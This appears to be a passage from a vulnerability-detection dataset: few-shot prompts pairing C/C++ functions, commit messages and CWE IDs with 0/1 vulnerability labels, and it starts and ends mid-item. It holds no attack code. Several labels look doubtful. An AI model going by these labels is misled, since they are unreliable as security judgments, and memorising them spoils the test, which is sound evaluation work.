iparams[0] = texture->swizzle_a();
}
return;
default:
break;
}
if (fparams) {
api()->glGetTexParameterfvFn(target, pname, fparams);
} else {
api()->glGetTexParameterivFn(target, pname, iparams);
}
}
Commit Message: Implement immutable texture base/max level clamping
It seems some drivers fail to handle that gracefully, so let's always clamp
to be on the safe side.
BUG=877874
TEST=test case in the bug, gpu_unittests
[email protected]
Cq-Include-Trybots: luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel
Change-Id: I6d93cb9389ea70525df4604112223604577582a2
Reviewed-on: https://chromium-review.googlesource.com/1194994
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#587264}
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: u_char *_our_safe_pcap_next(pcap_t *pcap, struct pcap_pkthdr *pkthdr,
const char *funcname, const int line, const char *file)
{
u_char *pktdata = (u_char *)pcap_next(pcap, pkthdr);
if (pktdata) {
if (pkthdr->len > MAXPACKET) {
fprintf(stderr, "safe_pcap_next ERROR: Invalid packet length in %s:%s() line %d: %u is greater than maximum %u\n",
file, funcname, line, pkthdr->len, MAXPACKET);
exit(-1);
}
if (pkthdr->len < pkthdr->caplen) {
fprintf(stderr, "safe_pcap_next ERROR: Invalid packet length in %s:%s() line %d: packet length %u is less than capture length %u\n",
file, funcname, line, pkthdr->len, pkthdr->caplen);
exit(-1);
}
}
return pktdata;
}
Commit Message: Bug #520 Fix heap overflow on zero or 0xFFFF packet length
Add check for packets that report zero packet length. Example
of fix:
src/tcpprep --auto=bridge --pcap=poc16-get_l2len-heapoverflow --cachefile=/dev/null
Warning: poc16-get_l2len-heapoverflow was captured using a snaplen of 17 bytes. This may mean you have truncated packets.
safe_pcap_next ERROR: Invalid packet length in tcpprep.c:process_raw_packets() line 334: packet length=0 capture length=0
CWE ID: CWE-125
Target: 1
Example 2:
Code: void show_error_as_msgbox(const char *msg)
{
GtkWidget *dialog = gtk_message_dialog_new(GTK_WINDOW(g_wnd_assistant),
GTK_DIALOG_DESTROY_WITH_PARENT,
GTK_MESSAGE_WARNING,
GTK_BUTTONS_CLOSE,
"%s", msg
);
gtk_dialog_run(GTK_DIALOG(dialog));
gtk_widget_destroy(dialog);
}
Commit Message: wizard: fix save users changes after reviewing dump dir files
If the user reviewed the dump dir's files during reporting the crash, the
changes was thrown away and original data was passed to the bugzilla bug
report.
report-gtk saves the first text view buffer and then reloads data from the
reported problem directory, which causes that the changes made to those text
views are thrown away.
Function save_text_if_changed(), except of saving text, also reload the files
from dump dir and update gui state from the dump dir. The commit moves the
reloading and updating gui functions away from this function.
Related to rhbz#1270235
Signed-off-by: Matej Habrnal <[email protected]>
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void pdf_run_G(fz_context *ctx, pdf_processor *proc, float g)
{
pdf_run_processor *pr = (pdf_run_processor *)proc;
pr->dev->flags &= ~FZ_DEVFLAG_STROKECOLOR_UNDEFINED;
pdf_set_colorspace(ctx, pr, PDF_STROKE, fz_device_gray(ctx));
pdf_set_color(ctx, pr, PDF_STROKE, &g);
}
Commit Message:
CWE ID: CWE-416
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int ssl3_send_alert(SSL *s, int level, int desc)
{
/* Map tls/ssl alert value to correct one */
desc = s->method->ssl3_enc->alert_value(desc);
if (s->version == SSL3_VERSION && desc == SSL_AD_PROTOCOL_VERSION)
desc = SSL_AD_HANDSHAKE_FAILURE; /* SSL 3.0 does not have
* protocol_version alerts */
* protocol_version alerts */
if (desc < 0)
return -1;
/* If a fatal one, remove from cache */
if ((level == 2) && (s->session != NULL))
SSL_CTX_remove_session(s->session_ctx, s->session);
s->s3->alert_dispatch = 1;
s->s3->send_alert[0] = level;
* else data is still being written out, we will get written some time in
* the future
*/
return -1;
}
Commit Message:
CWE ID: CWE-200
Target: 1
Example 2:
Code: HRESULT ValidateResult(const base::DictionaryValue* result, BSTR* status_text) {
DCHECK(result);
DCHECK(status_text);
const base::Value* exit_code_value =
result->FindKeyOfType(kKeyExitCode, base::Value::Type::INTEGER);
int exit_code = exit_code_value->GetInt();
if (exit_code != kUiecSuccess) {
switch (exit_code) {
case kUiecAbort:
return E_ABORT;
case kUiecTimeout:
case kUiecKilled:
NOTREACHED() << "Internal codes, not returned by GLS";
break;
case kUiecEMailMissmatch:
*status_text =
CGaiaCredentialBase::AllocErrorString(IDS_EMAIL_MISMATCH_BASE);
break;
case kUiecInvalidEmailDomain:
*status_text = CGaiaCredentialBase::AllocErrorString(
IDS_INVALID_EMAIL_DOMAIN_BASE);
break;
case kUiecMissingSigninData:
*status_text =
CGaiaCredentialBase::AllocErrorString(IDS_INVALID_UI_RESPONSE_BASE);
break;
}
return E_FAIL;
}
bool has_error = false;
std::string email = GetDictStringUTF8(result, kKeyEmail);
if (email.empty()) {
LOGFN(ERROR) << "Email is empty";
has_error = true;
}
std::string fullname = GetDictStringUTF8(result, kKeyFullname);
if (fullname.empty()) {
LOGFN(ERROR) << "Full name is empty";
has_error = true;
}
std::string id = GetDictStringUTF8(result, kKeyId);
if (id.empty()) {
LOGFN(ERROR) << "Id is empty";
has_error = true;
}
std::string mdm_id_token = GetDictStringUTF8(result, kKeyMdmIdToken);
if (mdm_id_token.empty()) {
LOGFN(ERROR) << "mdm id token is empty";
has_error = true;
}
std::string password = GetDictStringUTF8(result, kKeyPassword);
if (password.empty()) {
LOGFN(ERROR) << "Password is empty";
has_error = true;
}
std::string refresh_token = GetDictStringUTF8(result, kKeyRefreshToken);
if (refresh_token.empty()) {
LOGFN(ERROR) << "refresh token is empty";
has_error = true;
}
std::string token_handle = GetDictStringUTF8(result, kKeyTokenHandle);
if (token_handle.empty()) {
LOGFN(ERROR) << "Token handle is empty";
has_error = true;
}
if (has_error) {
*status_text =
CGaiaCredentialBase::AllocErrorString(IDS_INVALID_UI_RESPONSE_BASE);
return E_UNEXPECTED;
}
return S_OK;
}
Commit Message: [GCPW] Disallow sign in of consumer accounts when mdm is enabled.
Unless the registry key "mdm_aca" is explicitly set to 1, always
fail sign in of consumer accounts when mdm enrollment is enabled.
Consumer accounts are defined as accounts with gmail.com or
googlemail.com domain.
Bug: 944049
Change-Id: Icb822f3737d90931de16a8d3317616dd2b159edd
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1532903
Commit-Queue: Tien Mai <[email protected]>
Reviewed-by: Roger Tawa <[email protected]>
Cr-Commit-Position: refs/heads/master@{#646278}
CWE ID: CWE-284
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void WebGLRenderingContextBase::RemoveBoundBuffer(WebGLBuffer* buffer) {
if (bound_array_buffer_ == buffer)
bound_array_buffer_ = nullptr;
bound_vertex_array_object_->UnbindBuffer(buffer);
}
Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
[email protected],[email protected]
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#486518}
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int snd_timer_user_tselect(struct file *file,
struct snd_timer_select __user *_tselect)
{
struct snd_timer_user *tu;
struct snd_timer_select tselect;
char str[32];
int err = 0;
tu = file->private_data;
mutex_lock(&tu->tread_sem);
if (tu->timeri) {
snd_timer_close(tu->timeri);
tu->timeri = NULL;
}
if (copy_from_user(&tselect, _tselect, sizeof(tselect))) {
err = -EFAULT;
goto __err;
}
sprintf(str, "application %i", current->pid);
if (tselect.id.dev_class != SNDRV_TIMER_CLASS_SLAVE)
tselect.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION;
err = snd_timer_open(&tu->timeri, str, &tselect.id, current->pid);
if (err < 0)
goto __err;
kfree(tu->queue);
tu->queue = NULL;
kfree(tu->tqueue);
tu->tqueue = NULL;
if (tu->tread) {
tu->tqueue = kmalloc(tu->queue_size * sizeof(struct snd_timer_tread),
GFP_KERNEL);
if (tu->tqueue == NULL)
err = -ENOMEM;
} else {
tu->queue = kmalloc(tu->queue_size * sizeof(struct snd_timer_read),
GFP_KERNEL);
if (tu->queue == NULL)
err = -ENOMEM;
}
if (err < 0) {
snd_timer_close(tu->timeri);
tu->timeri = NULL;
} else {
tu->timeri->flags |= SNDRV_TIMER_IFLG_FAST;
tu->timeri->callback = tu->tread
? snd_timer_user_tinterrupt : snd_timer_user_interrupt;
tu->timeri->ccallback = snd_timer_user_ccallback;
tu->timeri->callback_data = (void *)tu;
}
__err:
mutex_unlock(&tu->tread_sem);
return err;
}
Commit Message: ALSA: timer: Fix race among timer ioctls
ALSA timer ioctls have an open race and this may lead to a
use-after-free of timer instance object. A simplistic fix is to make
each ioctl exclusive. We have already tread_sem for controlling the
tread, and extend this as a global mutex to be applied to each ioctl.
The downside is, of course, the worse concurrency. But these ioctls
aren't to be parallel accessible, in anyway, so it should be fine to
serialize there.
Reported-by: Dmitry Vyukov <[email protected]>
Tested-by: Dmitry Vyukov <[email protected]>
Cc: <[email protected]>
Signed-off-by: Takashi Iwai <[email protected]>
CWE ID: CWE-362
Target: 1
Example 2:
Code: void S_AL_StartCapture( void )
{
if (alCaptureDevice != NULL)
qalcCaptureStart(alCaptureDevice);
}
Commit Message: Don't open .pk3 files as OpenAL drivers.
CWE ID: CWE-269
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void LoadAndExpectError(const std::string& name,
const std::string& expected_error) {
std::string error;
scoped_refptr<Extension> extension(LoadExtension(name, &error));
VerifyExpectedError(extension.get(), name, error, expected_error);
}
Commit Message: Extend TTS extension API to support richer events returned from the engine
to the client. Previously we just had a completed event; this adds start,
word boundary, sentence boundary, and marker boundary. In addition,
interrupted and canceled, which were previously errors, now become events.
Mac and Windows implementations extended to support as many of these events
as possible.
BUG=67713
BUG=70198
BUG=75106
BUG=83404
TEST=Updates all TTS API tests to be event-based, and adds new tests.
Review URL: http://codereview.chromium.org/6792014
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: cib_timeout_handler(gpointer data)
{
struct timer_rec_s *timer = data;
timer_expired = TRUE;
crm_err("Call %d timed out after %ds", timer->call_id, timer->timeout);
/* Always return TRUE, never remove the handler
* We do that after the while-loop in cib_native_perform_op()
*/
return TRUE;
}
Commit Message: High: core: Internal tls api improvements for reuse with future LRMD tls backend.
CWE ID: CWE-399
Target: 1
Example 2:
Code: void ThreadHeap::WeakProcessing(Visitor* visitor) {
TRACE_EVENT0("blink_gc", "ThreadHeap::WeakProcessing");
double start_time = WTF::CurrentTimeTicksInMilliseconds();
ThreadState::ObjectResurrectionForbiddenScope object_resurrection_forbidden(
ThreadState::Current());
CustomCallbackItem item;
while (weak_callback_worklist_->Pop(WorklistTaskId::MainThread, &item)) {
item.callback(visitor, item.object);
}
DCHECK(marking_worklist_->IsGlobalEmpty());
double time_for_weak_processing =
WTF::CurrentTimeTicksInMilliseconds() - start_time;
DEFINE_THREAD_SAFE_STATIC_LOCAL(
CustomCountHistogram, weak_processing_time_histogram,
("BlinkGC.TimeForGlobalWeakProcessing", 1, 10 * 1000, 50));
weak_processing_time_histogram.Count(time_for_weak_processing);
}
Commit Message: [oilpan] Fix GCInfoTable for multiple threads
Previously, grow and access from different threads could lead to a race
on the table backing; see bug.
- Rework the table to work on an existing reservation.
- Commit upon growing, avoiding any copies.
Drive-by: Fix over-allocation of table.
Bug: chromium:841280
Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43
Reviewed-on: https://chromium-review.googlesource.com/1061525
Commit-Queue: Michael Lippautz <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Cr-Commit-Position: refs/heads/master@{#560434}
CWE ID: CWE-362
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void longMethodMethodCallback(const v8::FunctionCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMMethod");
TestObjectV8Internal::longMethodMethod(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
[email protected]
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static inline int process_numeric_entity(const char **buf, unsigned *code_point)
{
long code_l;
int hexadecimal = (**buf == 'x' || **buf == 'X'); /* TODO: XML apparently disallows "X" */
char *endptr;
if (hexadecimal && (**buf != '\0'))
(*buf)++;
/* strtol allows whitespace and other stuff in the beginning
* we're not interested */
if ((hexadecimal && !isxdigit(**buf)) ||
(!hexadecimal && !isdigit(**buf))) {
return FAILURE;
}
code_l = strtol(*buf, &endptr, hexadecimal ? 16 : 10);
/* we're guaranteed there were valid digits, so *endptr > buf */
*buf = endptr;
if (**buf != ';')
return FAILURE;
/* many more are invalid, but that depends on whether it's HTML
* (and which version) or XML. */
if (code_l > 0x10FFFFL)
return FAILURE;
if (code_point != NULL)
*code_point = (unsigned)code_l;
return SUCCESS;
}
Commit Message: Fix bug #72135 - don't create strings with lengths outside int range
CWE ID: CWE-190
Target: 1
Example 2:
Code: void InspectorNetworkAgent::DidChangeResourcePriority(
unsigned long identifier,
ResourceLoadPriority load_priority) {
String request_id = IdentifiersFactory::RequestId(identifier);
GetFrontend()->resourceChangedPriority(request_id,
ResourcePriorityJSON(load_priority),
MonotonicallyIncreasingTime());
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Commit-Queue: Andrey Lushnikov <[email protected]>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: std::string GetUploadData(const std::string& brand) {
DCHECK(!brand.empty());
std::string data(kPostXml);
const std::string placeholder("__BRANDCODE_PLACEHOLDER__");
size_t placeholder_pos = data.find(placeholder);
DCHECK(placeholder_pos != std::string::npos);
data.replace(placeholder_pos, placeholder.size(), brand);
return data;
}
Commit Message: Use install_static::GetAppGuid instead of the hardcoded string in BrandcodeConfigFetcher.
Bug: 769756
Change-Id: Ifdcb0a5145ffad1d563562e2b2ea2390ff074cdc
Reviewed-on: https://chromium-review.googlesource.com/1213178
Reviewed-by: Dominic Battré <[email protected]>
Commit-Queue: Vasilii Sukhanov <[email protected]>
Cr-Commit-Position: refs/heads/master@{#590275}
CWE ID: CWE-79
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: spnego_gss_inquire_sec_context_by_oid(
OM_uint32 *minor_status,
const gss_ctx_id_t context_handle,
const gss_OID desired_object,
gss_buffer_set_t *data_set)
{
OM_uint32 ret;
ret = gss_inquire_sec_context_by_oid(minor_status,
context_handle,
desired_object,
data_set);
return (ret);
}
Commit Message: Fix SPNEGO context aliasing bugs [CVE-2015-2695]
The SPNEGO mechanism currently replaces its context handle with the
mechanism context handle upon establishment, under the assumption that
most GSS functions are only called after context establishment. This
assumption is incorrect, and can lead to aliasing violations for some
programs. Maintain the SPNEGO context structure after context
establishment and refer to it in all GSS methods. Add initiate and
opened flags to the SPNEGO context structure for use in
gss_inquire_context() prior to context establishment.
CVE-2015-2695:
In MIT krb5 1.5 and later, applications which call
gss_inquire_context() on a partially-established SPNEGO context can
cause the GSS-API library to read from a pointer using the wrong type,
generally causing a process crash. This bug may go unnoticed, because
the most common SPNEGO authentication scenario establishes the context
after just one call to gss_accept_sec_context(). Java server
applications using the native JGSS provider are vulnerable to this
bug. A carefully crafted SPNEGO packet might allow the
gss_inquire_context() call to succeed with attacker-determined
results, but applications should not make access control decisions
based on gss_inquire_context() results prior to context establishment.
CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C
[[email protected]: several bugfixes, style changes, and edge-case
behavior changes; commit message and CVE description]
ticket: 8244
target_version: 1.14
tags: pullup
CWE ID: CWE-18
Target: 1
Example 2:
Code: static void nfs4_put_stateowner(struct nfs4_stateowner *sop)
{
struct nfs4_client *clp = sop->so_client;
might_lock(&clp->cl_lock);
if (!atomic_dec_and_lock(&sop->so_count, &clp->cl_lock))
return;
sop->so_ops->so_unhash(sop);
spin_unlock(&clp->cl_lock);
nfs4_free_stateowner(sop);
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int policy_vma(struct vm_area_struct *vma, struct mempolicy *new)
{
int err = 0;
struct mempolicy *old = vma->vm_policy;
pr_debug("vma %lx-%lx/%lx vm_ops %p vm_file %p set_policy %p\n",
vma->vm_start, vma->vm_end, vma->vm_pgoff,
vma->vm_ops, vma->vm_file,
vma->vm_ops ? vma->vm_ops->set_policy : NULL);
if (vma->vm_ops && vma->vm_ops->set_policy)
err = vma->vm_ops->set_policy(vma, new);
if (!err) {
mpol_get(new);
vma->vm_policy = new;
mpol_put(old);
}
return err;
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[[email protected]: checkpatch fixes]
Reported-by: Ulrich Obergfell <[email protected]>
Signed-off-by: Andrea Arcangeli <[email protected]>
Acked-by: Johannes Weiner <[email protected]>
Cc: Mel Gorman <[email protected]>
Cc: Hugh Dickins <[email protected]>
Cc: Dave Jones <[email protected]>
Acked-by: Larry Woodman <[email protected]>
Acked-by: Rik van Riel <[email protected]>
Cc: Mark Salter <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-264
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: status_t OMXNodeInstance::updateGraphicBufferInMeta(
OMX_U32 portIndex, const sp<GraphicBuffer>& graphicBuffer,
OMX::buffer_id buffer) {
Mutex::Autolock autoLock(mLock);
OMX_BUFFERHEADERTYPE *header = findBufferHeader(buffer);
return updateGraphicBufferInMeta_l(portIndex, graphicBuffer, buffer, header);
}
Commit Message: DO NOT MERGE omx: check buffer port before using
Bug: 28816827
Change-Id: I3d5bad4a1ef96dec544b05bb31cc6f7109aae0a5
CWE ID: CWE-119
Target: 1
Example 2:
Code: int writepng_encode_finish(mainprog_info *mainprog_ptr) /* NON-interlaced! */
{
png_structp png_ptr = (png_structp)mainprog_ptr->png_ptr;
png_infop info_ptr = (png_infop)mainprog_ptr->info_ptr;
/* as always, setjmp() must be called in every function that calls a
* PNG-writing libpng function */
if (setjmp(mainprog_ptr->jmpbuf)) {
png_destroy_write_struct(&png_ptr, &info_ptr);
mainprog_ptr->png_ptr = NULL;
mainprog_ptr->info_ptr = NULL;
return 2;
}
/* close out PNG file; if we had any text or time info to write after
* the IDATs, second argument would be info_ptr: */
png_write_end(png_ptr, NULL);
return 0;
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void WebGraphicsContext3DCommandBufferImpl::reshape(int width, int height) {
cached_width_ = width;
cached_height_ = height;
gl_->ResizeCHROMIUM(width, height);
#ifdef FLIP_FRAMEBUFFER_VERTICALLY
scanline_.reset(new uint8[width * 4]);
#endif // FLIP_FRAMEBUFFER_VERTICALLY
}
Commit Message: Fix mismanagement in handling of temporary scanline for vertical flip.
BUG=116637
TEST=manual test from bug report with ASAN
Review URL: https://chromiumcodereview.appspot.com/9617038
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@125301 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: xsltShallowCopyElem(xsltTransformContextPtr ctxt, xmlNodePtr node,
xmlNodePtr insert, int isLRE)
{
xmlNodePtr copy;
if ((node->type == XML_DTD_NODE) || (insert == NULL))
return(NULL);
if ((node->type == XML_TEXT_NODE) ||
(node->type == XML_CDATA_SECTION_NODE))
return(xsltCopyText(ctxt, insert, node, 0));
copy = xmlDocCopyNode(node, insert->doc, 0);
if (copy != NULL) {
copy->doc = ctxt->output;
copy = xsltAddChild(insert, copy);
if (node->type == XML_ELEMENT_NODE) {
/*
* Add namespaces as they are needed
*/
if (node->nsDef != NULL) {
/*
* TODO: Remove the LRE case in the refactored code
* gets enabled.
*/
if (isLRE)
xsltCopyNamespaceList(ctxt, copy, node->nsDef);
else
xsltCopyNamespaceListInternal(copy, node->nsDef);
}
/*
